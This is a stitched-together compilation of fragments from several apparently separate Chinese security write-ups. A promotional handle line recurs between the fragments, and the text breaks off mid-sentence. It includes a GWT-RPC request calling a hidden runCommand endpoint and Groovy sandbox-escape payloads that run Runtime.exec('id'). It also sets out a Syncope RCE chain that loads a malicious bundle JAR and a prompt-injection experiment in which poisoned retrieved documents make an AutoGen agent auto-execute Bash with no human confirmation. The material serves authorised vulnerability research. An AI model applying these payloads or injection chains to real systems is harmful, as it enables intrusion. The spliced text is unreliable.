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实验靶机里额外实现了一个 AdminService。前端 EntryPoint 没有调用它，页面上也没有管理入口，但 servlet 仍然注册在 /gwtlab/admin。
核心实现可以简化成：
从新的 permutation 中恢复 AdminService 的 Schema 后，构造 Shadow Request：
gress 生成：
7|0|6|http://127.0.0.1:8088/gwtlab/|5673EE239E1CAE627B9A203C33398A18|com.example.client.AdminService|runCommand|java.lang.String/2004016611|open -a Calculator|1|2|3|4|1|5|6|
发送到 /gwtlab/admin 后返回：
//OK[1,["executed: open -a Calculator"],0,7]

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十年老牌技术员：@Suitthug0

仅看反编译源码会得出错误结论：目标没有配置 db2.jcc.outputDirectory 时 ao.dL 为 null，com.ibm.db2.jcc.am.k9#a(String, boolean) 在 if (var3_3 == null) return 处提前返回，sink 天然不可达。CFR 输出的 com.ibm.db2.jcc.am.ao 类也会强化这个误判 —— 全文里 dL 只有一处赋值：
// com.ibm.db2.jcc.am.ao （CFR 反编译输出）
dL = DB2BaseDataSource.parseString(
GlobalProperties.getJccGlobalProperty(dJ, false), null);
但这段源码不可信。对 ao.class 做字节码反汇编，在私有静态初始化方法 com.ibm.db2.jcc.am.ao#n() 的末尾，可以看到一段被 CFR 丢弃的回退逻辑（字节码偏移 180–191）：
// javap -p -c com.ibm.db2.jcc.am.ao#n()（偏移 180–191）
180: getstatic #762 // Field dL:Ljava/lang/String;
183: ifnonnull 201
186: ldc #36 // String java.io.tmpdir
188: invokestatic #707 // GlobalProperties.c:(Ljava/lang/String;)Ljava/lang/String;
191: putstatic #762 // Field dL:Ljava/lang/String;
还原成 Java 就是：
// com.ibm.db2.jcc.am.ao#n() 尾部
if (dL == null) {
dL = System.getProperty("java.io.tmpdir");
}
也就是说，未配置任何输出目录时，驱动把缓存目录回退到 JVM 系统临时目录。

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十年老牌技术员：@Suitthug0

服务端确实会校验类型，但错误信息同时也会回显方法签名、接口名和实现类。对授权测试来说，这些信息可以拿来校准前面恢复的 Schema；它是反馈信号，不是权限控制。
复杂对象还有一个更容易踩坑的点。processTask(Task task) 里的 Task 在 Java 源码中可能先声明 name、再声明 command，但 GWT-RPC 序列化时不能直接假设按源码声明顺序写字段。
追到 GWT 2.10.0 的实现：
SerializabilityUtil.java FIELD_COMPARATOR
SerializabilityUtil.java 字段获取与排序
ServerSerializationStreamReader.java 字段读取
getDeclaredFields() 的返回顺序本身不应作为跨 JVM 的稳定协议依据，所以 GWT 会对字段做显式排序。当前 Task 中，command 按字母序排在 name 前面，因此 payload 也要先写 command 的值。

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十年老牌技术员：@Suitthug0

java.lang.String/2004016611
字符串表只保留一份，两个类型索引都指向同一项。如果参数值正好等于方法名 login，也应该复用方法名已有的索引，而不是再追加一个重复字符串。
这些边界用例只能说明编码器在局部规则上没有明显问题，还不能证明一条完整请求经过“解析 → 修改 → 回写”后仍然能被服务端正常接受。最后还需要做一次真正的 round-trip。

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十年老牌技术员：@Suitthug0

Checker 内部遍历当前注册的 GroovyInterceptor 链，把调用的接收者类、方法名、参数类型交给拦截器判断（以下为简化逻辑）：
public static Object checkedCall(Object receiver, Object[] callSite, String method, Object... args) {
for (GroovyInterceptor i : GroovyInterceptor.chain()) {
// 拦截器逐个审查，全部放行才真正调用
}
// 实际执行 receiver.method(args)
}
拦截器链通过 ThreadLocal 维护：宿主应用在执行不可信脚本前注册拦截器，执行完后注销。Syncope 的实现里，这个拦截器就是 SandboxInterceptor，它将调用拼成签名后与 Blacklist 比对，命中则抛出 SecurityException。黑名单条目的格式形如：
new java.lang.ProcessBuilder java.lang.String[]
staticMethod java.lang.Runtime getRuntime
method java.lang.Runtime exec java.lang.String
new groovy.lang.GroovyShell
method groovy.lang.GroovyShell evaluate java.lang.String
staticMethod java.lang.invoke.MethodHandles publicLookup
new / method / staticMethod + 类名 + 方法名 + 参数类型，纯静态签名匹配。

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十年老牌技术员：@Suitthug0

沙箱的检查点是编译期织入的，那么只要能在脚本里创建一个新的、使用默认配置的 Groovy 解释器，把真正的 payload 作为字符串交给它，内层代码就会在一个从未织入检查的环境中编译执行。这不是绕过检查，而是让检查的调用点根本不存在。
Groovy 运行时里能满足"重新解释一段代码"的入口至少有四个：
// 1. GroovyShell
new groovy.lang.GroovyShell().evaluate('Runtime.getRuntime().exec("id")')

// 2. GroovyClassLoader
new groovy.lang.GroovyClassLoader().parseClass('class E { def run() { Runtime.getRuntime().exec("id") } }')

// 3. Eval（内部就是新建 GroovyShell）
groovy.util.Eval.me('Runtime.getRuntime().exec("id")')

// 4. JSR-223 脚本引擎
new javax.script.ScriptEngineManager().getEngineByName('groovy')
.eval('Runtime.getRuntime().exec("id")')
这四个入口本身都是普通的类构造和方法调用，能否使用取决于它们是否被列进黑名单——这正是这类逃逸的适用条件。

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十年老牌技术员：@Suitthug0

Apache Syncope 的连接器管理接口 POST /syncope/rest/connectors/check 接收一个完全由客户端控制的 ConnInstanceTO，直接实例化连接器并调用 test()：
// core/idm/logic/src/main/java/org/apache/syncope/core/logic/ConnectorLogic.java:244
public void check(final ConnInstanceTO connInstanceTO) {
connectorManager.createConnector(binder.getConnInstance(connInstanceTO)).test();
}
内置的脚本化连接器 RESTConnector（net.tirasa.connid.bundles.rest）的配置项里包含 testScript、createScript 等脚本字段，test() 会把 testScript 交给 ConnId 框架的 GroovyScriptExecutor 执行。于是一个认证后的 HTTP 请求就等于一段服务端 Groovy 代码的执行入口（所需权限仅 CONNECTOR_READ）：
ConnectorLogic.check()
→ ConnId ConnectorFacade
→ RESTConnector.test()
→ ScriptExecutorFactory.newInstance("GROOVY")
→ GroovyScriptExecutor 执行 testScript
4.1.1 时代这段代码没有任何防护，testScript 里直接 new ProcessBuilder(["sh","-c","id"]).start() 即可 RCE。当时的验证采用了三步利用链，顺带说明 bundles 目录动态加载缺乏完整性校验：第一步在 testScript 中解码 Base64 把恶意 ConnId bundle JAR 写入 /opt/syncope/bundles/，第二步调用 connectors/reload 让框架重新扫描目录加载该 JAR，第三步用恶意 bundle 的信息构造配置再次调用 connectors/check，其 test() 方法

同一轮里还有一个细节：模型第一次把自然语言 "gateway timeout diagnostics" 传给 run_diagnostics，REPL 返回 SyntaxError；下一轮才使用语料中的“采集参数参考”。
这里不把错误反馈本身定义成新的攻击点，只记录一个现象：Tool Result 会继续进入上下文，它同样可能影响下一轮的参数选择。
最终用户侧得到的是正常排障回答，而宿主机侧可以确认 Canary 文件已经生成：

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十年老牌技术员：@Suitthug0

第一步，Assistant 将检索文档中的 Bash 代码复述到自己的回复中。代码此时已经从知识库文本进入 Assistant 消息：
第二步，UserProxyAgent 处理 Assistant 消息，调用 extract_code 提取带有 bash 标签的围栏代码块。随后由 execute_code_blocks 按语言类型分发到 run_code。
第三步，代码按本地执行路径运行，Canary 文件成功生成。打开保存的证据文件，可以看到预设字符串已经写入：
这一轮可以完整看到数据是怎样跨过边界的：文档最初只是“知识库参考资料”，Assistant 把其中的 Bash 代码写进回复后，它就变成了 AutoGen 能识别的代码块，随后被 UserProxyAgent 送进执行函数。

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十年老牌技术员：@Suitthug0

为了避免实验脚本和框架识别规则不一致，这里直接调用 AutoGen 自己的 code_utils.extract_code 判断 Assistant 是否输出了可执行代码块。
quoted_blocks = []

for language, code in code_utils.extract_code(content):
# UNKNOWN 表示没有识别出围栏代码块，不能作为代码执行证据。
if language == code_utils.UNKNOWN:
continue

if CANARY_CMD_MARK in code or CANARY in code:
quoted_blocks.append((language, code))
是否真正执行，以 Canary 文件是否生成作为证据：
landed = Path(CANARY_FILE).exists()
if landed:
canary_content = Path(CANARY_FILE).read_text(
encoding="utf-8",
errors="replace",
)
(RESULTS / f"round_{i}_canary_evidence.txt").write_text(
canary_content,
encoding="utf-8",
)
# 证据保存后清理 /tmp 痕迹，避免影响下一轮实验。
Path(CANARY_FILE).unlink()
每轮都保存原始消息、代码块提取结果、执行日志和 Canary 证据，便于回看具体是在哪一步触发。

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十年老牌技术员：@Suitthug0

AssistantAgent 的缓存被关闭，UserProxyAgent 则关闭人工确认，并启用代码执行：
assistant = autogen.AssistantAgent(
"assistant",
llm_config={
"config_list": config_list,
"cache_seed": None,
},
is_termination_msg=lambda message: (
str(message.get("content", "")).strip() == "TERMINATE"
),
)

user_proxy = autogen.UserProxyAgent(
"user_proxy",
human_input_mode="NEVER",
max_consecutive_auto_reply=4,
code_execution_config={
"timeout": 60,
},
llm_config=False,
default_auto_reply="TERMINATE",
is_termination_msg=lambda message: (
str(message.get("content", "")).strip() == "TERMINATE"
),
)
human_input_mode="NEVER" 表示执行前没有人工确认。code_execution_config 只设置了超时时间，没有显式指定 use_docker，因此实际是否隔离取决于 AutoGen 的 Docker 回退逻辑，图 4-10 已经显示本次环境最终走的是原生执行路径。

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执行入口。 generate_code_execution_reply（conversable_agent.py 第 652 行起）会从消息历史向前扫描，并对 message["content"] 调用 extract_code：
last_n_messages = code_execution_config.pop("last_n_messages", 1)
...
for i in range(min(len(messages), messages_to_scan)):
message = messages[-(i + 1)]
if not message["content"]:
continue
code_blocks = extract_code(message["content"])
if len(code_blocks) == 1 and code_blocks[0][0] == UNKNOWN:
continue
exitcode, logs = self.execute_code_blocks(code_blocks)
return True, f"exitcode: {exitcode} (...)\nCode output: {logs}"
这里的输入对象就是消息文本。识别出代码块以后，内容会继续进入 execute_code_blocks，中间没有新的来源字段参与判断。
代码块判断。 extract_code（code_utils.py 第 100 行）找不到围栏块时返回 [(UNKNOWN, 全文)]；上面的循环会跳过单个 UNKNOWN，因此这里实际区分的是：
没有代码块 → 跳过（UNKNOWN）
有围栏代码块 → 提取并执行（不问来源）
所以这一层仍然是格式判断：有没有框架能够识别的代码块。

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